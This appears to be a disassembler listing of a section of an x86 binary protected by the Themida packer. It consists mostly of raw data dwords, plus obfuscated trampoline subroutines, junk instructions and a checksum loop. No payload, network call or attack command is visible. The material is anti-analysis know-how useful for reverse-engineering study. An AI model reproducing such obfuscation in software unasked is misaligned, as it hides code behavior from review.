		dd 3D195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 59A3D4C3h, 2B01BB45h, 0B0B31BDh
		dd 1D858906h, 6A060EA8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 39F3C351h, 0DDF77A1h
		dd 152CA0FCh, 20398D89h, 9FE9060Bh, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0C3D0C350h, 0BC8DBC41h, 9D8BA859h, 60B2DE9h,	0A815858Bh
		dd 7E9060Eh, 0C2000000h, 67911F71h, 0C77055h, 18h, 322D9589h
		dd 9D89060Bh, 60B2801h,	0A819B58Bh, 0F88B060Eh,	486CBF66h
		dd 6E1858Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0CE971C3h, 0E5000000h, 9E9DC027h
		dd 0BA4ABC48h, 8924BF6Ch, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 858BF1D6h
		dd 60B317Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	33C35242h, 4C1BD33h, 4689060Bh,	880F04h, 50000000h
		dd 4880Fh, 0BB660000h, 34898CFEh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0B5FFF9D5h
		dd 60EA815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	57C35545h, 68DAB70Fh, 0BB167ABh, 123757BBh, 2434817Fh
		dd 0BAE6454h, 0BD5BD8Bh, 858D060Bh, 60EA81Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 96BB9436h
		dd 8589A5C9h, 60B02DDh,	0E7EECBFh, 8E9502Ah, 0A1000000h
		dd 2634EC9h, 896111B3h,	9D8B2404h, 60B31E1h, 0DCDB589h
		dd 95FF060Bh, 60B03D1h,	228DBD8Bh, 6A61060Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0C7B1C357h, 0B100985h, 306h,	0D98B6600h, 0A81DBD83h
		dd 0F00060Eh, 2C84h, 42E900h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A99299C3h
		dd 9C5013D5h, 0B74A4E7Eh, 0C3050CCh, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 14FD9D8Bh, 0BD0B060Bh, 60B1255h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C5C35646h
		dd 0E1BFCF83h, 9860F9A6h, 6870F5Fh, 8B000000h, 0B2A49BDh
		dd 9BD8306h, 3060B10h, 3AF850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6190B6C3h
		dd 43F29EC7h, 1DBD83F5h, 60EA8h, 37F840Fh, 0F3810000h
		dd 10F1EE30h, 0A81DB5FFh, 8B60060Eh, 0B05A585h,	75858B06h
		dd 61060B33h, 83D95FFh,	6A060Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0EA97F2C3h, 0BB66A605h
		dd 0B58BF226h, 60EA811h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 66C35242h, 2B9BD8Bh, 6C7060Bh, 10001h
		dd 96FE8B66h, 0BE95250h, 3000000h, 8CFC99A1h, 0AC2EBC8Ch
		dd 310F803Ah, 585AF98Bh, 0BE950h, 11900000h, 577A7C80h
		dd 3AFA08BDh, 6A96CEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0A9F6FEC3h, 8C0F1F11h, 6, 7CD9D89h
		dd 0BD89060Bh, 60B32B9h, 0A81DB5FFh, 0BD8B060Eh, 60B1265h
		dd 64195FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 9FAD22C3h, 9D8BE30Ah, 60B0B51h
		dd 14E59D89h, 0B58B060Bh, 60EA811h, 46EB8166h, 1D858B6Fh
		dd 8B060B12h, 0B2DFDBDh, 0C4868906h, 0BB000000h, 6B47C921h
		dd 174D958Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 8A5211C3h, 7B0FA517h, 0DA8BF98Bh
		dd 3104C283h, 0B18359Dh, 0ED9D8906h, 89060B02h,	6A2050h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 54333C3h, 7C795DE5h,	0F51EFBDh, 584h, 0E6AEBB00h, 0F5F5840h
		dd 686h, 0DBD0900h, 8D060B19h, 0EBAEE85h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0C555AA2Ch, 89FB8B66h, 0B886h, 0DF816600h, 6ABA5Bh
		dd 0A81DB5FFh, 5356060Eh, 830Fh, 5B5B0000h, 0F1595FFh
		dd 9D89060Bh, 60B0B75h,	15BB6696h, 0BB665087h, 6A96ECDAh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 6C4BC357h, 57EB9E7Eh, 0AD161544h,	0D318D89h
		dd 0B5FF060Bh, 60EA81Dh, 741BD89h, 95FF060Bh, 60B00F5h
		dd 860Fh, 0BD830000h, 60B2191h,	5A840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 96BAC352h, 0DA8B5760h, 5B50515Ah, 8B50615Eh,	6A96FAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0B56EAFC3h, 0C5458B06h, 68C0F81h, 1000000h, 0B190D85h
		dd 1DB5FF06h, 66060EA8h, 95FFDF8Bh, 60B1281h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0ABC35141h
		dd 0D13F381h, 840F2983h, 6, 2781BD29h, 0B5FF060Bh, 60EA81Dh
		dd 8D95FFF8h, 6A060B0Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 41F3C350h, 63AA4ACCh
		dd 1FB5BD8Bh, 0BD83060Bh, 60B17F1h, 37840F02h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 5EF4C353h, 0DB9416EAh, 0C5858B62h, 8B060B2Eh
		dd 0B18E9BDh, 0C606h, 8BCF8B60h, 85C761C6h, 60B06B9h, 0
		dd 0A4EABF56h, 35B5BEBh, 0B2F299Dh, 0F42CE906h,	6AFFFFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0B4F1C3h, 0F5A2ACB6h, 8166C18Bh, 8DE407EFh, 0B28A985h
		dd 0F5BD8906h, 8B060B20h, 0B03BDBDh, 76BF9006h,	501D67CAh
		dd 46B75250h, 585A310Fh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 7B3FE764h, 87878F4Ah
		dd 9D8B93CFh, 60B2AA1h,	0E9DBD89h, 0E953060Bh, 7, 0EC72C644h
		dd 5B65EE01h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0E7F684C3h, 6A5A2D11h, 6AFE8BFBh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0F19DC549h, 0A40B5632h, 820F46E4h, 0Fh
		dd 0AE9h, 571BB500h, 4A4F6674h,	890C142Bh, 0B0BAD95h, 0B1B58906h
		dd 8D060B15h, 0FCEFD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 5DDAE9E6h, 13C380C8h
		dd 6A05C083h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 2479C350h, 0DE2BEB81h,	0B3906AAAh
		dd 8A6050FBh, 0FE8B66F1h, 8C0F9061h, 0
; ---------------------------------------------------------------------------
		push	0
		and	di, 68E7h
		push	0
		push	0
		push	eax
		call	sub_588E88
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588E88	proc near		; CODE XREF: Themida_:00588E80p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_588E88	endp

; ---------------------------------------------------------------------------
		xor	[ebx], al
		pop	ebx
		jb	short loc_588ECC
		sal	byte ptr [esi+27h], cl
		xor	edi, [ebp+60B0175h]
		call	dword ptr [ebp+60B2F21h]
		push	0
		push	esi
		call	sub_588EB7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588EB7	proc near		; CODE XREF: Themida_:00588EAFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_588EB7	endp

; ---------------------------------------------------------------------------
		pop	ebp
		db	2Eh
		jecxz	short loc_588F1B
		dec	esp


loc_588ECC:				; CODE XREF: Themida_:00588E9Bj
		sbb	[edi], eax
		call	sub_588EE3
		xchg	eax, esp
		outsb
		mov	esi, es
		or	dh, ah
		cmp	bh, [eax]
		xor	esi, ecx
		dec	eax
		cmp	[eax-49h], ebx
		movsb
		nop

; =============== S U B	R O U T	I N E =======================================



sub_588EE3	proc near		; CODE XREF: Themida_:00588ECEp
		movsx	ebx, di
		pop	edi
		lea	ecx, [ebp+60EA7B0h]
		push	0
		push	ebx
		call	sub_588EF8
		and	[ebx-3Dh], bl
sub_588EE3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_588EF8	proc near		; CODE XREF: sub_588EE3+Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_588EF8	endp

; ---------------------------------------------------------------------------
		dd 0A00E6D7Ah, 83D1FF4Eh, 0B0B19BDh, 850F0106h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_588F1B:				; CODE XREF: Themida_:00588EC8j
		add	[ebx+6A026AF6h], dh
		add	[ecx-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		and	[ecx-3Dh], bl
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 19h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		retn	8170h
; ---------------------------------------------------------------------------
		aam	47h
		lodsd
		movsx	edi, dx
		mov	ebx, [ebp+60B010Dh]
		nop
		mov	edi, 7EEC046Ch
		push	eax
		mov	edi, 1C32736Fh
		nop
		push	0
		push	ebx
		call	sub_588F62
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588F62	proc near		; CODE XREF: Themida_:00588F5Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_588F62	endp

; ---------------------------------------------------------------------------
		lods	byte ptr ss:[esi]
		mov	edi, [ebp+60B0F3Dh]
		call	dword ptr [ebp+60B0F15h]
		push	0
		push	eax
		call	sub_588F8B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588F8B	proc near		; CODE XREF: Themida_:00588F83p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_588F8B	endp

; ---------------------------------------------------------------------------
		db 78h
		dd 90EA084Dh, 10B4E9B5h, 0E80000h, 5D000000h, 0CF07ED81h
		dd 0CE8060Fh, 0B0000000h, 6DE89007h, 5A8C8284h,	13AF073h
		dd 0B202DB5h, 6A5B06h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 4B4A6FC3h, 3B4BF441h, 1DDF81AEh
		dd 8D2D5923h, 0E929385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 5FC523EEh, 7159A77Dh
		dd 800FA9C4h, 5, 0ABD38166h, 0B9B58903h, 50060B02h, 52505356h
		dd 585A310Fh, 4895B5Bh,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 81664E2Dh, 0F3972CBh
		dd 0C8Dh, 6880F00h, 8B000000h, 0B0331BDh, 0EBD38106h, 643A0927h
		dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 647D8AC3h, 896496CFh, 25h, 185EBB00h
		dd 85FF090Eh, 60B066Dh,	0B1D9D23h, 8B66060Bh, 6AFF6ADFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 6F6AC351h, 711C1213h, 0E9769851h,	9, 0EBE7604Eh
		dd 0C675612Eh, 55B5FF81h, 6A060B23h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 84ADC352h
		dd 6ECCA542h, 66605394h, 46D8F181h, 61D6BF0Fh, 0C61BD8Bh
		dd 95FF060Bh, 60B2411h,	12CE9h,	89B50100h, 0B0060B33h
		dd 9D896000h, 60B0209h,	0E970E661h, 5, 116C9481h, 3371E464h
		dd 0B0CA1BDh, 0F613C06h, 10083h, 0BE900h, 78CF0000h, 0B6243649h
		dd 0F89CCA58h, 0C8B60F7Eh, 2AABF66h, 6BAh, 0CE900h, 0C35D0000h
		dd 303C2F7Ch, 0C01A6810h, 0C18BC956h, 14E9h, 718B7200h
		dd 3FF26266h, 38A766DCh, 3B931896h, 0A4D37B16h,	919589ACh
		dd 0C1060B01h, 0F76604E8h, 0E9B589E2h, 2B060B22h, 199D23C8h
		dd 8B060B0Dh, 14E9D1h, 25B70000h, 0FE07DEBDh, 6A7AF155h
		dd 8357009Bh, 410219A1h, 7EE988CDh, 66000000h, 8B7066BFh
		dd 485h, 7C08300h, 0CE9h, 0FF0CE00h, 0B72DDC1Ch, 785AEBE3h
		dd 25BD0BAAh, 83060B00h, 0BD8B00C0h, 60B246Dh, 830FD03Bh
		dd 14h,	2FDBD8Bh, 3EE9060Bh, 81000000h,	0D1CF04DFh, 46EF802Eh
		dd 0FFFF8D8Bh, 8166FFFFh, 83C6AFC3h, 840F01E1h,	21h, 13519D8Bh
		dd 0A583060Bh, 0FFFFFFFFh, 0ED9D8BFEh, 89060B2Eh, 495h
		dd 0FAB70F00h, 0E9h, 0B1B58D00h, 89060F4Fh, 0B1E95B5h
		dd 6A006A06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0C6DCC350h, 0DD95FFF5h, 6A060B32h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 813FC350h, 3A3AE3E3h, 4A52BB0Bh, 0ABB942FDh
		dd 5600000Fh, 5FFE8B66h, 88C0Fh, 9500000h, 0B2AD18Dh, 0E1835F06h
		dd 50006AFCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0A2491C4Ah, 0ED8D2953h, 0FC060B00h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3BC35545h, 9BDEE982h
		dd 4616BC14h, 0DE93Dh, 61600000h, 0CD9B637h, 4753AB89h
		dd 0B840B1A2h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+60B28D9h]
		mov	ebx, ecx
		mov	edx, 0
		jmp	loc_589357
; ---------------------------------------------------------------------------
		dw 55BEh
		dd 0C0392031h, 592E337Fh, 5C4A969Ah
		db 0D1h, 0Fh, 0F7h
; ---------------------------------------------------------------------------


loc_589357:				; CODE XREF: Themida_:00589341j
					; Themida_:00589361j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_589357
		push	0
		push	eax
		call	sub_58936E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58936E	proc near		; CODE XREF: Themida_:00589366p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58936E	endp

; ---------------------------------------------------------------------------
		rcr	cl, 1
		mov	ebx, [ebp+60B0801h]
		mov	ebx, [ebp+60B1A85h]
		or	eax, 88h
		push	0
		push	eax
		call	sub_58939C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58939C	proc near		; CODE XREF: Themida_:00589394p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_58939C	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-76A8E44Bh], 0B1035BDh
		push	es
		mov	edx, [ebp+60B174Dh]
		mov	edi, [ebp+60B18C5h]
		mov	ecx, [ebp+60B0119h]
		push	0
		push	eax
		call	sub_5893D4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5893D4	proc near		; CODE XREF: Themida_:005893CCp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5893D4	endp

; ---------------------------------------------------------------------------
		dd 50426D66h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0A9C0B323h, 759D8BCBh, 6A060B02h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 5980C356h, 83FB8BB4h, 0B29BDBDh, 840F0006h, 94h, 0B8F88Bh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0A16FC353h, 8D61B3CDh,	0B4DD78Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0BE99C3E8h, 0E0C22B18h, 68B0FDAh, 8B000000h
		dd 0B32E59Dh, 0D59D8B06h, 0F060B08h, 682h, 0E59D8900h
		dd 0FF060B21h, 56006AE1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D89D6DDh, 60B04A1h, 1009BD83h
		dd 0F00060Bh, 56284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 941C479Dh, 0BD8302D9h
		dd 60B1009h, 4F840F01h,	6A000005h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0DA4DC355h
		dd 0F88B66B9h, 1009BD83h, 0F03060Bh, 4EB86h, 0F4DB8000h
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 32CD1320h, 66F98B66h, 0DC8AD98Ch, 6A04E180h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 7FA9C357h, 60A4F9A2h, 958D2Bh, 0EE8060Bh
		dd 9E000000h, 612C8C9Ch, 5A6CE7CBh, 16014453h, 0CFB70FF1h
		dd 9D896158h, 60B035Dh,	840FC90Ah, 17Ah, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 11C35141h, 7D858B79h
		dd 6A060B31h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 193C351h, 33DE8B4Bh, 0B06ED85h
		dd 12E85006h, 0A6000000h, 8A1B826Dh, 97FE3946h,	4E124506h
		dd 0D6779F6h, 118D3114h, 5F060B01h, 0B656BF5Fh,	0E9906F9Eh
		dd 7, 5DFB828Dh, 500FEFBFh, 52506051h, 585A310Fh, 0D6C9B966h
		dd 6A905F61h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E83FC353h, 7,	5ECBF296h, 0BF5BDAB7h
		dd 41000BD9h, 6A006A5Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 51DBC350h, 0C840Fh
		dd 870F0000h, 6, 810Fh,	6E90000h, 0BE000000h, 53547760h
		dd 0BE0E68DEh, 8E994C9h, 0EB000000h, 1E12F53Ah,	819A7A81h
		dd 45F12404h, 6A6B55h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 61D005C3h, 260D3987h, 0DE8F7AFh
		dd 0FA000000h, 8074699Ah, 370F11B9h, 0B8CA0C84h, 0D3B96660h
		dd 39958B16h, 61060B24h, 0D195FF5Bh, 89060B03h,	0B001195h
		dd 1D858906h, 8B060EA8h, 0B04C19Dh, 294E906h, 95890000h
		dd 60B0871h, 8E0Fh, 858B0000h, 60EA815h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 1AC35343h, 6860Fh
		dd 8D290000h, 60B0B69h,	8E9h, 164AF000h, 85473C34h, 1800C722h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 2136C350h, 8BE5AF44h, 0EA819B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 3893A797h, 959589F8h, 8B060B02h,	0B06E185h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0FBE77058h, 91C78100h, 0F8215C9Ch, 6A0689h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 1D96A7C3h, 0D5191AB3h, 8D09B4C3h, 60B1A6Dh, 8E2ABB66h
		dd 317D858Bh, 0BD8B060Bh, 60B0419h, 0F044689h, 118Fh, 5E800h
		dd 0DE200000h, 338CD68Ch, 0B1B61BDh, 60505F06h,	0F08BF78Bh
		dd 24348961h, 11820Fh, 0CE90000h, 29000000h, 9EC23187h
		dd 0BAC4EC87h, 0FFBADE26h, 0EA815B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0FADB8C59h, 0FDB8600Bh, 81610A90h, 816BF8D3h, 0B960614Ah
		dd 118E8D9h, 6B58D8Bh, 0E861060Bh, 4, 1F03FFh, 0FE953h
		dd 0AB5B0000h, 0FDD4875h, 7402AAA3h, 404DA063h,	8B505F71h
		dd 24448BFBh, 1D800F04h, 50000000h, 0EE852h, 72CC0000h
		dd 6C62104Ah, 5ECC7547h, 0A3EC5472h, 66310F5Bh,	585ADF8Bh
		dd 5F52008Bh, 4244489h,	0FE8h, 34A9B300h, 0D0A4F7A9h, 2F507CB6h
		dd 0CE58EA80h, 310F5250h, 585AFE8Ah, 8D89585Fh,	60B16A5h
		dd 0A81D858Dh, 6A060Eh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0D3E49FC3h, 57077DFFh, 66E20280h
		dd 50AAF4BBh, 9D567BBh,	24048956h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0D3C35141h,	0E98EBADCh, 0Ch
		dd 0A244A0Eh, 95A6D57Ah, 61A9A6D1h, 1A8D9D89h, 95FF060Bh
		dd 60B03D1h, 10E8h, 5FE63600h, 51BB75D4h, 2C64BC22h, 843AB859h
		dd 13E961h, 1AAC0000h, 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh
		dd 0AC9ACFB8h, 6A615B86h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 22C4C353h, 60C380F1h
		dd 100985C7h, 3060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A561BEC3h, 0F88B0D69h
		dd 0A81DBD83h, 0F00060Eh, 1384h, 0BD8B5100h, 60B2815h
		dd 21E95Bh, 0F3810000h,	137B41A6h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 1A12C356h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	41C35141h, 6B45F06h, 97C38114h,	83042FF6h, 0B1009BDh
		dd 850F0306h, 504h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0A5C35141h, 6DBB6629h, 5D9D093Bh, 83060B1Fh
		dd 0EA81DBDh, 840F0006h, 4D0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 71C35545h, 8D296078h, 60B1659h
		dd 1DB5FF61h, 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0B0B9C357h,	0EC0E61B9h
		dd 0C781E67Dh, 75483139h, 3EB5F960h, 3D95FF61h,	8B060B08h
		dd 0B0881BDh, 11B58B06h, 6A060EA8h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 93D4C356h
		dd 0B70F9177h, 3A294055h, 62DBD89h, 8166060Bh, 0C76239EFh
		dd 1000106h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 53CF24D5h, 0EFEF8166h, 81665B8Eh
		dd 509F80E7h, 800F5250h, 13h, 0EE9h
		dd 0E86F3900h, 3ADC5312h, 215D1D50h, 0F503D21h,	10E831h
		dd 22B40000h, 3D4ED41h,	58AB009Fh, 0C49033A9h, 8B66D19Eh
		dd 585A5FFEh, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 98A9C356h, 623A265Eh
		dd 0BD0BB47Eh, 60B059Dh, 0E4A6BFh, 1DB5FF2Ah, 6A060EA8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FF92C356h, 0B064195h, 0CE806h, 0E1590000h
		dd 24B9CDF8h, 0DAA768F3h, 0BD31042Bh, 60B1341h,	11B58B5Bh
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 1117C355h, 3F4A8BFDh, 0FC2118A4h
		dd 121D858Bh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 31AB96C3h, 0B2D8185h, 0C4868906h
		dd 66000000h, 8B8571BFh, 0B174D95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0B79C172Bh
		dd 0CC421558h, 50BBED3Dh, 0E97F016Eh, 9, 0F88F75F0h, 0C9FE13FBh
		dd 4C2835Dh, 0A224CBBh,	20508958h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0D4C35343h,	0BBE1A13Bh, 233123FDh
		dd 0BAEE858Dh, 9D2B060Eh, 60B1AC5h, 29A59589h, 8689060Bh
		dd 0B8h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 14h,	0EAC35141h, 28D0Fh, 0F98A0000h,	0EE9006Ah, 1F000000h
		dd 0ADFD2BD9h, 17660C60h, 0F46404F1h, 1DB5FFECh, 81060EA8h
		dd 0C6C2B3C7h, 1595FF54h, 6A060B0Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B816C353h
		dd 0E8D833D1h, 14h, 3E8620B8h, 455FDD98h, 37136261h, 0DF7B52A8h
		dd 748646E1h, 1A41BD0Bh, 965F060Bh, 7E8h, 0E98EB600h, 120BB4F2h
		dd 5BDF8B66h, 0AE850h, 8FA00000h, 0ED6E177Dh, 47E12E6Bh
		dd 5FFB8B53h, 6A965Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B5FFA5C3h, 60EA81Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A1C35747h, 4647A7CBh
		dd 801D651Ch, 95FFF888h, 60B00F5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 9DC35040h, 0E3812FE0h, 5E3A271Fh
		dd 148D0Fh, 0FE90000h, 26000000h, 3F5E839Eh, 0E9A13368h
		dd 8AB8C973h, 0BD8350C5h, 60B2191h, 2E840F00h, 50000000h
		dd 7E8h, 0D1E36500h, 697389C4h,	2434895Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DCC35343h, 1DB5FF54h
		dd 6A060EA8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 3E9BC353h, 89E81CDBh, 0B01C595h
